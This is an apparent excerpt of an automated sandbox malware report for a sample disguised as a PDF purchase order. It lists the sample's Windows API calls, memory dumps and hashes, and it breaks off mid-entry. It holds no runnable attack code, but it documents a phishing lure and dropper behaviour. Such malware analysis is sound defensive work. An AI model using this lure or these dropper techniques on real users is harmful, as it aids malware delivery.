Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction ID: a29eaa7254a97888a18cbfd792fe15e84c6d283973f4e4682f27fdddc38ff468
Opcode Fuzzy Hash: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction Fuzzy Hash: 71D09E71654601AFEF098F20DE16F2E7AA2FB84B00F11562CB682940E0DAB158199B15

Function 00405700 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403293,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405706
GetLastError.KERNEL32 ref: 00405714

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction ID: 3f205c5890689a668e8791f8cf6ed098ce3dcc56284ebb1818e0a19aeae2b5ff
Opcode Fuzzy Hash: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction Fuzzy Hash: DBC04C30225602DADA106F34DE087177951AB90741F1184396146E61A0DA348415E93D

Function 100028A4 Relevance: 2.7, APIs: 2, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 10002963
GetLastError.KERNEL32 ref: 10002A6A

Memory Dump Source

Source File: 00000000.00000002.2206700289.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2206687623.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206712677.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206725097.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: AllocErrorLastVirtual
String ID:
API String ID: 497505419-0
Opcode ID: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction ID: 77f315af6c145f6c632c2ebe68d3f6cdb0cf0445c85f86b19d364da59c27affc
Opcode Fuzzy Hash: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction Fuzzy Hash: 8851C4B9905214DFFB20DFA4DD8675937A8EB443D0F22C42AEA04E721DCE34E990CB55

Function 00402786 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 004027A0

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 625ba8c0adf551b09f916d27f71fdaae1f0ecd84ce04db3249cbe24fae782c82
Instruction ID: c5c3fa32fc6d0159c61c67e46e8878479b4609e7a69e49ca0ebb3ecbbe822ed2
Opcode Fuzzy Hash: 625ba8c0adf551b09f916d27f71fdaae1f0ecd84ce04db3249cbe24fae782c82
Instruction Fuzzy Hash: A0E04F71702514EFDB01AFA59E4ACAFBB6AEB40328B14443BF501F00E1DA7D8C019A2D

Function 0040229D Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 004022D4

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 60b22f5a932472850941fcf3cf4ac9c96d80a2104eac916f2d4d26c3cfc5b4d4
Instruction ID: 9c0f32427e9d9ad9a827debec1b0d32512713181f08a0e22f3c826aa7fb996c6
Opcode Fuzzy Hash: 60b22f5a932472850941fcf3cf4ac9c96d80a2104eac916f2d4d26c3cfc5b4d4
Instruction Fuzzy Hash: 90E04F319001246ADB113EF10E8ED7F31695B40314B1405BFB551B66C6D9FC0D4246A9

Function 00402CC9 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000495,00000000,00000022,00000000,?,?), ref: 00402CF1

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: e61a0d233959cf951fd8dee32620159f1f5f2b0e63671ee31e14641033e06cac
Instruction ID: 180cb462b76767e938a43b2c67eaf1f9418a6812eb156052446fd1a81c43fca4
Opcode Fuzzy Hash: e61a0d233959cf951fd8dee32620159f1f5f2b0e63671ee31e14641033e06cac
Instruction Fuzzy Hash: 54E0BF76154108AFDB00DFA5EE46EA977ECAB44704F044025BA09E7191C674E5509768

Function 00405CDC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040320B,00000000,00416A20,000000FF,00416A20,000000FF,000000FF,00000004,00000000), ref: 00405CF0

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction ID: d2761c75b63c3b5a1b4cb2cfb4b6a55fbed1fd27b7f8bdfe76624f6b99830631
Opcode Fuzzy Hash: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction Fuzzy Hash: 2AE0EC3221425AABDF109E55EC08FEB7B6CEF05360F049437FA55E7190D631E921DBA4

Function 00405CAD Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403255,00000000,00000000,00403079,000000FF,00000004,00000000,00000000,00000000), ref: 00405CC1

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction ID: 881bd9ca443264ea0180802fa9c86a3c9bfb0e6b132b989af4612487e9445b73
Opcode Fuzzy Hash: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction Fuzzy Hash: D1E08632104259ABDF105E518C00AEB376CFB04361F104432F911E3140D630E8119FB4

Function 100027C7 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027E5

Memory Dump Source

Source File: 00000000.00000002.2206700289.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2206687623.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206712677.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206725097.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 0f6967942ea94a3d6c88e3f350f968197b77ea31d8e69eb9713f4ef8856af232
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 47F0A5F15057A0DEF350DF688C847063BE4E3483C4B03852AE3A8F6269EB344454CF19

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9f81f92dad3f7a811467f01a8cf18fc77b7af2f5e37f886534bc513ef1489464
Instruction ID: 4fb9e9dd77d4d4fa14caa6284e3e33111a790732df8c0ecbc47c365062d5febc
Opcode Fuzzy Hash: 9f81f92dad3f7a811467f01a8cf18fc77b7af2f5e37f886534bc513ef1489464
Instruction Fuzzy Hash: 4BD05E33B04100DBCB10DFE8AE08ADD77B5AB80338B248177E601F21E4D6B8C650AB1D

Function 0040414E Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,?,00403F7A), ref: 0040415C

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction ID: f9280d834dafdcf82d79e279d22eccff0cbc279b2038abc2a2984d0c0ecbec1f
Opcode Fuzzy Hash: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction Fuzzy Hash: E3B01235180A00BBDE114B00EE09F857E62F7EC701F018438B340240F0CBB200A0DB08

Function 00403258 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FB5,?,?,?,00000000,0040353A,?), ref: 00403266

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction ID: 2811e774c662cae59278f25d6ecae3b2a92cb5be3fe339fd2c15133e28e6e099
Opcode Fuzzy Hash: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction Fuzzy Hash: D0B01231140300BFDA214F00DF09F057B21AB90700F10C034B344380F086711035EB4D

Non-executed Functions

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405351
GetDlgItem.USER32(?,000003EE), ref: 00405360
GetClientRect.USER32(?,?), ref: 0040539D
GetSystemMetrics.USER32(00000002), ref: 004053A4
SendMessageW.USER32(?,00001061,00000000,?), ref: 004053C5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053D6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053E9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053F7
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040540A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040542C
ShowWindow.USER32(?,00000008), ref: 00405440
GetDlgItem.USER32(?,000003EC), ref: 00405461
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405471
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040548A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405496
GetDlgItem.USER32(?,000003F8), ref: 0040536F

Part of subcall function 0040414E: SendMessageW.USER32(00000028,?,?,00403F7A), ref: 0040415C

GetDlgItem.USER32(?,000003EC), ref: 004054B3
CreateThread.KERNEL32(00000000,00000000,Function_00005287,00000000), ref: 004054C1
CloseHandle.KERNEL32(00000000), ref: 004054C8
ShowWindow.USER32(00000000), ref: 004054EC
ShowWindow.USER32(?,00000008), ref: 004054F1
ShowWindow.USER32(00000008), ref: 0040553B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040556F
CreatePopupMenu.USER32 ref: 00405580
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405594
GetWindowRect.USER32(?,?), ref: 004055B4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405605
OpenClipboard.USER32(00000000), ref: 00405615
EmptyClipboard.USER32 ref: 0040561B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405627
GlobalLock.KERNEL32(00000000), ref: 00405631
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
GlobalUnlock.KERNEL32(00000000), ref: 00405665
SetClipboardData.USER32(0000000D,00000000), ref: 00405670
CloseClipboard.USER32 ref: 00405676

Strings

{, xrefs: 00405559

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction ID: bedd14c977596f777f0676ed5d78e17ab23f6a1f4e688fc8743dda88f8352f2f
Opcode Fuzzy Hash: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction Fuzzy Hash: 85B15A71900608FFDB11AF60DD89AAE7B79FB48355F00803AFA41BA1A0CB755E51DF58

Function 004045B4 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404603
SetWindowTextW.USER32(00000000,?), ref: 0040462D
SHBrowseForFolderW.SHELL32(?), ref: 004046DE
CoTaskMemFree.OLE32(00000000), ref: 004046E9
lstrcmpiW.KERNEL32(Call,0042D268,00000000,?,?), ref: 0040471B
lstrcatW.KERNEL32(?,Call), ref: 00404727
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404739

Part of subcall function 0040577E: GetDlgItemTextW.USER32(?,?,00000400,00404770), ref: 00405791

Part of subcall function 004062E9: CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe",75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
Part of subcall function 004062E9: CharNextW.USER32(0040A300,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe",75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
Part of subcall function 004062E9: CharPrevW.USER32(0040A300,0040A300,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,?,0042B238,?,?,000003FB,?), ref: 004047FC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404817

Part of subcall function 00404970: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
Part of subcall function 00404970: wsprintfW.USER32 ref: 00404A1A
Part of subcall function 00404970: SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

A, xrefs: 004046D7
Call, xrefs: 00404715, 0040471A, 00404725
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00404704

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$Call
API String ID: 2624150263-2957766633
Opcode ID: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction ID: 407ae004ccebb682b028ef0dda1631611b85a4c4b0528499d59b6de2b9b5396a
Opcode Fuzzy Hash: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction Fuzzy Hash: 9CA171B1900208ABDB11AFA6CD85AAF77B8EF84314F10843BF601B72D1D77C89418B69

Function 0040686A Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
Instruction ID: 1644c94297a6e2d1b4e9f0aeee9f0c77f66fc5de92a1577942f5ef847e7267c5
Opcode Fuzzy Hash: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
Instruction Fuzzy Hash: 8DE17A7190070ADFDB24CF58C890BAAB7F5FB45305F15892EE497A7291D738AAA1CF04

Function 00407041 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

